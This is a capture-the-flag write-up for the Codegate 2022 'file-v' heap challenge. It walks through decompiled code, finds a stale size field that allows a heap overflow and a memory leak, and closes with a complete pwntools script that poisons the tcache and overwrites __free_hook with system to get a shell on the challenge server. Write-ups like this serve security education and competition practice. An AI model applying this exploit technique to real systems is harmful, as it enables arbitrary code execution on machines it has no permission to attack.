0x1 Filesystem?
The reason I chose this challenge is because nobody is focusing this challenge in my team, so I took a glance at it.
This program consists 2 parts, first is main process which handle all our input, and a backend process(child) that handles all data passed by main process.
These two process communicate with a socket pair.
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int fd[2]; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]
v4 = __readfsqword(0x28u);
*(_QWORD *)fd = -1LL;
banner();
initial();
if ( socketpair(1, 1, 0, fd) >= 0 )
{
if ( fork() )
interface(fd[1]);
backend(fd[0]);
}
perror("socketpair");
exit(-1);
}
The frontend process has following functions:
- Create new file
- Print files
- Select file (perform some operations on specific file)
- Edit file name
- Edit file color
- Show file content
- Edit file content
- Save file changes
- Remove file
The backend process is simpler, accept specific operations from frontend process and store in memory:
- Print files
- Create new file
- Select file ( actually just return a plain file structure)
- Edit file ( actually just store file structure from frontend process)
- Delete file
0x2 Bug?
At first I thought there’s a race condition bug because there’s a fork call, otherwise It doesn’t need to fork a new process.
But let’s take a closer look at edit function in frontend.
__printf_chk(1LL, "Enter content: ");
v5 = gets(new_len);
v6 = ptr->total_bytes;
v7 = v5;
v8 = (file *)malloc(ptr->total_bytes - ptr->content_len + new_len);
memcpy(v8, ptr, v6);
v8->edit_time = time(0LL);
v9 = v8->filename_len;
v8->content_len = new_len;
memcpy(&v8->content[v9 + 1], v7, new_len);
free(ptr);
free(v7);
The total_bytes isn’t updated!
How do we update this field? Let’s check edit name function.
__printf_chk(1LL, "Enter filename: ");
v5 = gets(v4);
v6 = strlen(v5);
v7 = ptr->content_len + v6 + 0x19;
v8 = (file *)calloc(v7, 1uLL);
v8->total_bytes = v7;
v8->create_time = ptr->create_time;
v9 = time(0LL);
LODWORD(v7) = ptr->content_len;
v8->edit_time = v9;
v10 = ptr->color;
v8->filename_len = v6;
v8->content_len = v7;
v8->color = v10;
memcpy(v8->content, v5, v6);
memcpy(&v8->content[v6 + 1], &ptr->content[ptr->filename_len + 1], (unsigned int)v7);
free(ptr);
free(v5);
total_bytes is actually updated in edit name!
What if, we first edit content like 0x100 bytes, edit name(update total_bytes) and second time we edit this content 0x20 bytes?
memcpy(v8, ptr, v6); v6 is actually old total_bytes, which means we will overflow v8!
0x3 How to leak?
Seems there’s only a oob write bug in edit, and likely it will cause heap crash, so how to leak?
Let’s checksec first:
[+] checksec for '/home/rookie/funnypwn/codegate/2022/filev/file-v'
Canary : โ
NX : โ
PIE : โ
Fortify : โ
RelRO : Full
Everything is on, hmmm.
0x4 Save to rescue
What if , we don’t update total_bytes?
After we updating content_len in edit content, how about save the file struct directly without editing name?
Let’s check frontend save function:
bufa[0] = 0x401012703LL;
if ( send(fd, bufa, 8uLL, 0) < 0 || send(fd, &n, 4uLL, 0) < 0 || send(fd, filename, n, 0) < 0 )
goto LABEL_13;
if ( (int)recv(fd, &v7, 4uLL, 0) < 0 )
goto LABEL_14;
if ( v7 == 0xC00000BB )
goto LABEL_10;
if ( send(fd, a4, 4uLL, 0) < 0 || send(fd, a4, (unsigned int)a4->total_bytes, 0) < 0 )
{
LABEL_13:
perror("send");
exit(-1);
}
As you can see, the saved bytes is actually determined by total_bytes!
If we make content_len larger than total_bytes, we can leak heap data by show content!
0x5 Exploit
The exploit is very straightforward, just abusing tcache link list, we can write free_hook to system and get shell.
My exploit is a bit complex because I forgot libc 2.27 doesn’t check tcache chunk size, my first thought is writing one gadget to malloc_hook, but I didn’t found a useable one gadget. After some frustration I suddenly remembered libc 2.27 doesn’t check size metadata which means we can write anywhere!
Here is my full exploit code:
from pwn import *
debug = 0
# socat -d -d TCP-LISTEN:5555,reuseaddr,fork EXEC:"env LD_PRELOAD=./libc-2.27.so ./file-v"
if debug:
os.system('pkill -9 file-v')
p = remote('127.0.0.1', 5555)
with open('/tmp/test.gdb', 'w') as f:
f.write('b *0x555555556AEA')
# run_in_new_terminal("gdb attach $(ps -C file-v -o pid|sed -n '2p') -x /tmp/test.gdb") # attach child
# e = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
e = ELF('filev/libc-2.27.so')
else:
p = remote('3.36.184.9', 5555)
e = ELF('filev/libc-2.27.so')
def show_drive():
p.sendlineafter('> ', 'a')
p.recvuntil('The number of files: ')
count = int(p.recvuntil('\n'))
files = []
if count:
for i in range(count):
p.recvuntil(f'[{i}]:')
p.recvuntil(' ')
files.append(p.recvuntil('\x1B', drop=1))
return files
def create(fn, l=None):
if not l:
l = len(fn)
p.sendlineafter('> ', 'c')
p.sendlineafter(':', str(l))
p.sendlineafter(':', fn)
def select(fn):
p.sendlineafter('> ', 'b')
p.sendlineafter(':', fn)
def edit_name(fn, l=None):
if not l:
l = len(fn)
p.sendlineafter('> ', '1')
p.sendlineafter(':', str(l))
p.sendafter(':', fn)
def show():
p.sendlineafter('> ', '3')
content = bytearray()
while True:
data = p.recvline_regex(r'^\d+\s\|.+?\|', timeout=0.5)
if data:
for m in re.finditer(rb'^\d+\s\|(.+?)\|', data, re.MULTILINE):
for hexbyte in m.group(1).strip().split(b' '):
if hexbyte:
content += bytearray([int(hexbyte.decode(), 16)])
else:
return content
def edit(c, l=None):
if not l:
l = len(c)
p.sendlineafter('> ', '4')
p.sendlineafter(':', str(l))
p.sendafter(':', c)
def save():
p.sendlineafter('> ', '5')
def rm():
p.sendlineafter('> ', 'd')
def back():
p.sendlineafter('> ', 'b')
create('rookie')
create('fuck')
select('rookie')
edit('a' * 0x90)
save()
back()
select('rookie')
data = show()
heap = u64(data[0x19:0x21])
libc = u64(data[0x79:0x81])
e.address = libc - e.symbols['_IO_2_1_stderr_']
log.success(f'heap: 0x{heap:x} libc: 0x{e.address:x}')
back()
select('fuck')
edit('a' * (0x88 - 0x1d))
edit_name('f' * 0x67)
edit_name('fuck')
edit(b'x' * 0x69 + p64(0x71) + p64(e.symbols['__free_hook'] - 0x13))
edit_name('fuck')
edit(b'b' * 0x49 + p64(0x101) + b'b' * 0x18)
edit_name('fuck')
edit('c' * 0x49)
payload = b'/bin/sh\x00' + b'b' * 0xb + p64(e.symbols['system'])
payload = payload.ljust(0x67)
edit(payload)
p.interactive()